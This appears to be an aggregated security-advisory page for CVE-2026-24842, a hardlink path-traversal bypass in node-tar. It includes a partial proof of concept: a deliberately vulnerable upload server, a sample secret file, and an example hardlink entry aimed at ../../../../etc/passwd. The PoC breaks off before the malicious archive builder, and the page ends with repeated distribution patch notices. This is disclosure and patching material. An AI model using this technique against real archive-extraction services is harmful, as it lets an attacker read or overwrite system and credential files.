CVE-2026-24842

node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

• Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

• Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function…

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

• qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)

• node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)

• node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)

• lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)

• node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

• qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)

• node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)

• node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)

• lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)

• node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.

Root has patched CVE-2026-24842 in the tar package for Root:npm. Multiple fixed versions available.

node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

• qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
• node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
• node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
• lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
• node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

• qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
• node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
• node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
• lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
• node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.

TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.

TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.

TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.

TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.

TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.

TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.

TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.

TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.

TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.1.0-tuxcare.4.

TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.1.6-tuxcare.4.

These are all security issues fixed in the pnpm-10.32.1-1.1 package on the GA media of openSUSE Tumbleweed.